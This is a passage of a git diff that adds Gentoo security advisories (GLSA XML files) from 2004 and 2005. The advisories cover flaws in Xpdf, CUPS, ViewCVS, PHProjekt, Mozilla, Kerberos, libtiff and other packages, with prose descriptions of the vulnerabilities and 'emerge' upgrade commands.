+  <access>remote</access>
+  <affected>
+    <package name="app-text/xpdf" auto="yes" arch="*">
+      <unaffected range="ge">3.00-r7</unaffected>
+      <vulnerable range="le">3.00-r6</vulnerable>
+    </package>
+    <package name="app-text/gpdf" auto="yes" arch="*">
+      <unaffected range="ge">2.8.1-r1</unaffected>
+      <vulnerable range="le">2.8.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Xpdf is an open source viewer for Portable Document Format (PDF)
+    files. GPdf is a Gnome-based PDF viewer that includes some Xpdf code.
+    </p>
+  </background>
+  <description>
+    <p>
+    A new integer overflow issue was discovered in Xpdf's
+    Gfx::doImage() function.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could entice an user to open a specially-crafted PDF
+    file, potentially resulting in execution of arbitrary code with the
+    rights of the user running Xpdf or GPdf.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Xpdf users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-text/xpdf-3.00-r7&quot;</code>
+    <p>
+    All GPdf users should also upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-text/gpdf-2.8.1-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1125">CAN-2004-1125</uri>
+    <uri link="http://www.idefense.com/application/poi/display?id=172&amp;type=vulnerabilities&amp;flashstatus=true">iDEFENSE Advisory</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Tue, 28 Dec 2004 09:21:20 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 28 Dec 2004 09:21:29 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200412-25.xml b/xml/htdocs/security/en/glsa/glsa-200412-25.xml
new file mode 100644
index 00000000..407d4c86
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200412-25.xml
@@ -0,0 +1,84 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200412-25">
+  <title>CUPS: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities have been found in CUPS, ranging from local Denial
+    of Service attacks to the remote execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">CUPS</product>
+  <announced>December 28, 2004</announced>
+  <revised>January 12, 2005: 02</revised>
+  <bug>74479</bug>
+  <bug>75197</bug>
+  <bug>77023</bug>
+  <access>remote and local</access>
+  <affected>
+    <package name="net-print/cups" auto="yes" arch="*">
+      <unaffected range="ge">1.1.23</unaffected>
+      <vulnerable range="lt">1.1.23</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Common UNIX Printing System (CUPS) is a cross-platform print
+    spooler, hpgltops is a CUPS filter handling printing of HPGL files and
+    lppasswd is a program used locally to manage spooler passwords.
+    </p>
+  </background>
+  <description>
+    <p>
+    CUPS makes use of vulnerable Xpdf code to handle PDF files
+    (CAN-2004-1125). Furthermore, Ariel Berkman discovered a buffer
+    overflow in the ParseCommand function in hpgl-input.c in the hpgltops
+    program (CAN-2004-1267). Finally, Bartlomiej Sieka discovered several
+    problems in the lppasswd program: it ignores some write errors
+    (CAN-2004-1268), it can leave the passwd.new file in place
+    (CAN-2004-1269) and it does not verify that passwd.new file is
+    different from STDERR (CAN-2004-1270).
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    The Xpdf and hpgltops vulnerabilities may be exploited by a remote
+    attacker to execute arbitrary code by sending specific print jobs to a
+    CUPS spooler. The lppasswd vulnerabilities may be exploited by a local
+    attacker to write data to the CUPS password file or deny further
+    password modifications.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All CUPS users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-print/cups-1.1.23&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1125">CAN-2004-1125</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1267">CAN-2004-1267</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1268">CAN-2004-1268</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1269">CAN-2004-1269</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1270">CAN-2004-1270</uri>
+    <uri link="http://tigger.uic.edu/~jlongs2/holes/cups.txt">Ariel Berkman Advisory</uri>
+    <uri link="http://tigger.uic.edu/~jlongs2/holes/cups2.txt">Bartlomiej Sieka Advisory</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 27 Dec 2004 17:52:31 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 28 Dec 2004 09:42:46 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 28 Dec 2004 12:52:03 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200412-26.xml b/xml/htdocs/security/en/glsa/glsa-200412-26.xml
new file mode 100644
index 00000000..c8a6fc87
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200412-26.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200412-26">
+  <title>ViewCVS: Information leak and XSS vulnerabilities</title>
+  <synopsis>
+    ViewCVS is vulnerable to an information leak and to cross-site scripting
+    (XSS) issues.
+  </synopsis>
+  <product type="ebuild">ViewCVS</product>
+  <announced>December 28, 2004</announced>
+  <revised>December 28, 2004: 01</revised>
+  <bug>72461</bug>
+  <bug>73772</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/viewcvs" auto="yes" arch="*">
+      <unaffected range="ge">0.9.2_p20041207-r1</unaffected>
+      <vulnerable range="le">0.9.2_p20041207</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    ViewCVS is a browser interface for viewing CVS and Subversion
+    version control repositories through a web browser.
+    </p>
+  </background>
+  <description>
+    <p>
+    The tar export functions in ViewCVS bypass the 'hide_cvsroot' and
+    'forbidden' settings and therefore expose information that should be
+    kept secret (CAN-2004-0915). Furthermore, some error messages in
+    ViewCVS do not filter user-provided information, making it vulnerable
+    to a cross-site scripting attack (CAN-2004-1062).
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    By using the tar export functions, a remote attacker could access
+    information that is configured as restricted. Through the use of a
+    malicious request, an attacker could also inject and execute malicious
+    script code, potentially compromising another user's browser.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All ViewCVS users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/viewcvs-0.9.2_p20041207-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0915">CAN-2004-0915</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1062">CAN-2004-1062</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Tue, 21 Dec 2004 15:31:38 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 28 Dec 2004 14:23:36 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200412-27.xml b/xml/htdocs/security/en/glsa/glsa-200412-27.xml
new file mode 100644
index 00000000..4bb1cfc5
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200412-27.xml
@@ -0,0 +1,64 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200412-27">
+  <title>PHProjekt: Remote code execution vulnerability</title>
+  <synopsis>
+    PHProjekt contains a vulnerability that allows a remote attacker to execute
+    arbitrary PHP code.
+  </synopsis>
+  <product type="ebuild">PHProjekt</product>
+  <announced>December 30, 2004</announced>
+  <revised>December 30, 2004: 01</revised>
+  <bug>75858</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/phprojekt" auto="yes" arch="*">
+      <unaffected range="ge">4.2-r2</unaffected>
+      <vulnerable range="lt">4.2-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    PHProjekt is a modular groupware web application used to
+    coordinate group activities and share files.
+    </p>
+  </background>
+  <description>
+    <p>
+    cYon discovered that the authform.inc.php script allows a remote
+    user to define the global variable $path_pre.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker can exploit this vulnerability to force
+    authform.inc.php to download and execute arbitrary PHP code with the
+    privileges of the web server user.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All PHProjekt users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/phprojekt-4.2-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.phprojekt.com/modules.php?op=modload&amp;name=News&amp;file=article&amp;sid=193&amp;mode=thread&amp;order=0">PHProjekt Advisory</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Wed, 29 Dec 2004 16:45:27 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 29 Dec 2004 16:45:35 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200501-01.xml b/xml/htdocs/security/en/glsa/glsa-200501-01.xml
new file mode 100644
index 00000000..e4d75028
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200501-01.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200501-01">
+  <title>LinPopUp: Buffer overflow in message reply</title>
+  <synopsis>
+    LinPopUp contains a buffer overflow potentially allowing execution of
+    arbitrary code.
+  </synopsis>
+  <product type="ebuild">Linpopup</product>
+  <announced>January 04, 2005</announced>
+  <revised>January 04, 2005: 01</revised>
+  <bug>74705</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-im/linpopup" auto="yes" arch="*">
+      <unaffected range="ge">2.0.4-r1</unaffected>
+      <vulnerable range="lt">2.0.4-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    LinPopUp is a graphical application that acts as a frontend to
+    Samba client messaging functions, allowing a Linux desktop to
+    communicate with a Microsoft Windows computer that runs Winpopup.
+    </p>
+  </background>
+  <description>
+    <p>
+    Stephen Dranger discovered that LinPopUp contains a buffer
+    overflow in string.c, triggered when replying to a remote user message.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could craft a malicious message that, when
+    replied using LinPopUp, would exploit the buffer overflow. This would
+    result in the execution of arbitrary code with the privileges of the
+    user running LinPopUp.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All LinPopUp users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-im/linpopup-2.0.4-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1282">CAN-2004-1282</uri>
+    <uri link="http://tigger.uic.edu/~jlongs2/holes/linpopup.txt">Stephen Dranger Advisory</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 31 Dec 2004 10:20:27 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat,  1 Jan 2005 22:08:20 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat,  1 Jan 2005 22:15:30 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200501-02.xml b/xml/htdocs/security/en/glsa/glsa-200501-02.xml
new file mode 100644
index 00000000..980ee245
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200501-02.xml
@@ -0,0 +1,81 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200501-02">
+  <title>a2ps: Multiple vulnerabilities</title>
+  <synopsis>
+    The fixps and psmandup scripts in the a2ps package are vulnerable to
+    symlink attacks, potentially allowing a local user to overwrite arbitrary
+    files. A vulnerability in a2ps filename handling could also result in
+    arbitrary command execution.
+  </synopsis>
+  <product type="ebuild">a2ps</product>
+  <announced>January 04, 2005</announced>
+  <revised>May 22, 2006: 03</revised>
+  <bug>75784</bug>
+  <bug>61500</bug>
+  <access>local and remote</access>
+  <affected>
+    <package name="app-text/a2ps" auto="yes" arch="*">
+      <unaffected range="ge">4.13c-r2</unaffected>
+      <vulnerable range="lt">4.13c-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    a2ps is an Any to Postscript filter that can convert to Postscript from
+    many filetypes. fixps is a script that fixes errors in Postscript
+    files. psmandup produces a Postscript file for printing in manual
+    duplex mode.
+    </p>
+  </background>
+  <description>
+    <p>
+    Javier Fernandez-Sanguino Pena discovered that the a2ps package
+    contains two scripts that create insecure temporary files (fixps and
+    psmandup). Furthermore, we fixed in a previous revision a vulnerability
+    in a2ps filename handling (CAN-2004-1170).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could create symbolic links in the temporary files
+    directory, pointing to a valid file somewhere on the filesystem. When
+    fixps or psmandup is executed, this would result in the file being
+    overwritten with the rights of the user running the utility. By
+    enticing a user or script to run a2ps on a malicious filename, an
+    attacker could execute arbitrary commands on the system with the rights
+    of that user or script.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All a2ps users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-text/a2ps-4.13c-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://secunia.com/advisories/13641/">Secunia SA13641</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1170">CAN-2004-1170</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1377">CVE-2004-1377</uri>
+    <uri link="http://lists.netsys.com/pipermail/full-disclosure/2004-August/025678.html">Full-Disclosure Advisory</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue,  4 Jan 2005 09:44:14 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue,  4 Jan 2005 09:44:22 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue,  4 Jan 2005 11:06:21 +0000">
+    SeJo
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200501-03.xml b/xml/htdocs/security/en/glsa/glsa-200501-03.xml
new file mode 100644
index 00000000..74d53c8c
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200501-03.xml
@@ -0,0 +1,133 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200501-03">
+  <title>Mozilla, Firefox, Thunderbird: Various vulnerabilities</title>
+  <synopsis>
+    Various vulnerabilities were found and fixed in Mozilla-based products,
+    ranging from a potential buffer overflow and temporary files disclosure to
+    anti-spoofing issues.
+  </synopsis>
+  <product type="ebuild">Mozilla</product>
+  <announced>January 05, 2005</announced>
+  <revised>December 30, 2007: 03</revised>
+  <bug>76112</bug>
+  <bug>68976</bug>
+  <bug>70749</bug>
+  <access>remote and local</access>
+  <affected>
+    <package name="www-client/mozilla" auto="yes" arch="*">
+      <unaffected range="ge">1.7.5</unaffected>
+      <vulnerable range="lt">1.7.5</vulnerable>
+    </package>
+    <package name="www-client/mozilla-bin" auto="yes" arch="*">
+      <unaffected range="ge">1.7.5</unaffected>
+      <vulnerable range="lt">1.7.5</vulnerable>
+    </package>
+    <package name="www-client/mozilla-firefox" auto="yes" arch="*">
+      <unaffected range="ge">1.0</unaffected>
+      <vulnerable range="lt">1.0</vulnerable>
+    </package>
+    <package name="www-client/mozilla-firefox-bin" auto="yes" arch="*">
+      <unaffected range="ge">1.0</unaffected>
+      <vulnerable range="lt">1.0</vulnerable>
+    </package>
+    <package name="mail-client/mozilla-thunderbird" auto="yes" arch="*">
+      <unaffected range="ge">0.9</unaffected>
+      <vulnerable range="lt">0.9</vulnerable>
+    </package>
+    <package name="mail-client/mozilla-thunderbird-bin" auto="yes" arch="*">
+      <unaffected range="ge">0.9</unaffected>
+      <vulnerable range="lt">0.9</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Mozilla is a popular web browser that includes a mail and newsreader.
+    Mozilla Firefox and Mozilla Thunderbird are respectively the
+    next-generation browser and mail client from the Mozilla project.
+    </p>
+  </background>
+  <description>
+    <p>
+    Maurycy Prodeus from isec.pl found a potentially exploitable buffer
+    overflow in the handling of NNTP URLs. Furthermore, Martin (from
+    ptraced.net) discovered that temporary files in recent versions of
+    Mozilla-based products were sometimes stored world-readable with
+    predictable names. The Mozilla Team also fixed a way of spoofing
+    filenames in Firefox's "What should Firefox do with this file" dialog
+    boxes and a potential information leak about the existence of local
+    filenames.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could craft a malicious NNTP link and entice a user
+    to click it, potentially resulting in the execution of arbitrary code
+    with the rights of the user running the browser. A local attacker could
+    leverage the temporary file vulnerability to read the contents of
+    another user's attachments or downloads. A remote attacker could also
+    design a malicious web page that would allow to spoof filenames if the
+    user uses the "Open with..." function in Firefox, or retrieve
+    information on the presence of specific files in the local filesystem.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Mozilla users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/mozilla-1.7.5&quot;</code>
+    <p>
+    All Mozilla binary users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/mozilla-bin-1.7.5&quot;</code>
+    <p>
+    All Firefox users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/mozilla-firefox-1.0&quot;</code>
+    <p>
+    All Firefox binary users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/mozilla-firefox-bin-1.0&quot;</code>
+    <p>
+    All Thunderbird users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=mail-client/mozilla-thunderbird-0.9&quot;</code>
+    <p>
+    All Thunderbird binary users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=mail-client/mozilla-thunderbird-bin-0.9&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://isec.pl/vulnerabilities/isec-0020-mozilla.txt">isec.pl Advisory</uri>
+    <uri link="http://broadcast.ptraced.net/advisories/008-firefox.thunderbird.txt">Martin (from ptraced.net) Advisory</uri>
+    <uri link="http://secunia.com/advisories/13144/">Secunia Advisory SA13144</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2227">CVE-2004-2227</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2228">CVE-2004-2228</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Tue,  4 Jan 2005 10:09:38 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue,  4 Jan 2005 10:10:52 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200501-04.xml b/xml/htdocs/security/en/glsa/glsa-200501-04.xml
new file mode 100644
index 00000000..5fc98d9a
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200501-04.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200501-04">
+  <title>Shoutcast Server: Remote code execution</title>
+  <synopsis>
+    Shoutcast Server contains a possible buffer overflow that could lead to the
+    execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">Shoutcast-server-bin</product>
+  <announced>January 05, 2005</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>75482</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-sound/shoutcast-server-bin" auto="yes" arch="*">
+      <unaffected range="ge">1.9.5</unaffected>
+      <vulnerable range="le">1.9.4-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Shoutcast Server is Nullsoft's streaming audio server. It runs on a
+    variety of platforms, including Linux, and is extremely popular with
+    Internet broadcasters.
+    </p>
+  </background>
+  <description>
+    <p>
+    Part of the Shoutcast Server Linux binary has been found to improperly
+    handle sprintf() parsing.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A malicious attacker could send a formatted URL request to the
+    Shoutcast Server. This formatted URL would cause either the server
+    process to crash, or the execution of arbitrary code.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Shoutcast Server users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-sound/shoutcast-server-bin-1.9.5&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.securityfocus.com/archive/1/385350">BugTraq Announcement</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1373">CVE-2004-1373</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 29 Dec 2004 14:31:08 +0000">
+    lewk
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue,  4 Jan 2005 19:23:19 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue,  4 Jan 2005 20:51:10 +0000">
+    chriswhite
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200501-05.xml b/xml/htdocs/security/en/glsa/glsa-200501-05.xml
new file mode 100644
index 00000000..d528611d
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200501-05.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200501-05">
+  <title>mit-krb5: Heap overflow in libkadm5srv</title>
+  <synopsis>
+    The MIT Kerberos 5 administration library (libkadm5srv) contains a heap
+    overflow that could lead to execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">mit-krb5</product>
+  <announced>January 05, 2005</announced>
+  <revised>January 05, 2005: 01</revised>
+  <bug>75143</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-crypt/mit-krb5" auto="yes" arch="*">
+      <unaffected range="ge">1.3.6</unaffected>
+      <vulnerable range="lt">1.3.6</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    MIT krb5 is the free implementation of the Kerberos network
+    authentication protocol by the Massachusetts Institute of Technology.
+    </p>
+  </background>
+  <description>
+    <p>
+    The MIT Kerberos 5 administration library libkadm5srv contains a
+    heap overflow in the code handling password changing.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    Under specific circumstances an attacker could execute arbitary
+    code with the permissions of the user running mit-krb5, which could be
+    the root user.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All mit-krb5 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-crypt/mit-krb5-1.3.6&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1189">CAN 2004-1189</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 30 Dec 2004 15:16:36 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 30 Dec 2004 19:47:37 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed,  5 Jan 2005 19:34:46 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200501-06.xml b/xml/htdocs/security/en/glsa/glsa-200501-06.xml
new file mode 100644
index 00000000..f8c1db1e
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200501-06.xml
@@ -0,0 +1,72 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200501-06">
+  <title>tiff: New overflows in image decoding</title>
+  <synopsis>
+    An integer overflow has been found in the TIFF library image decoding
+    routines and the tiffdump utility, potentially allowing arbitrary code
+    execution.
+  </synopsis>
+  <product type="ebuild">tiff</product>
+  <announced>January 05, 2005</announced>
+  <revised>January 05, 2005: 01</revised>
+  <bug>75213</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-libs/tiff" auto="yes" arch="*">
+      <unaffected range="ge">3.7.1-r1</unaffected>
+      <vulnerable range="lt">3.7.1-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The TIFF library contains encoding and decoding routines for the
+    Tag Image File Format. It is called by numerous programs, including
+    GNOME and KDE applications, to interpret TIFF images.
+    </p>
+  </background>
+  <description>
+    <p>
+    infamous41md found a potential integer overflow in the directory
+    entry count routines of the TIFF library (CAN-2004-1308). Dmitry V.
+    Levin found another similar issue in the tiffdump utility
+    (CAN-2004-1183).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to view a carefully crafted
+    TIFF image file, which would potentially lead to execution of arbitrary
+    code with the rights of the user viewing the image. This affects any
+    program that makes use of the TIFF library, including many web browsers
+    or mail readers.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All TIFF library users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-libs/tiff-3.7.1-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1183">CAN-2004-1183</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1308">CAN-2004-1308</uri>
+    <uri link="http://www.idefense.com/application/poi/display?id=174&amp;type=vulnerabilities">iDEFENSE Advisory</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Mon,  3 Jan 2005 10:21:55 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue,  4 Jan 2005 14:07:42 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200501-07.xml b/xml/htdocs/security/en/glsa/glsa-200501-07.xml
new file mode 100644
index 00000000..81ae5353
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200501-07.xml
@@ -0,0 +1,80 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
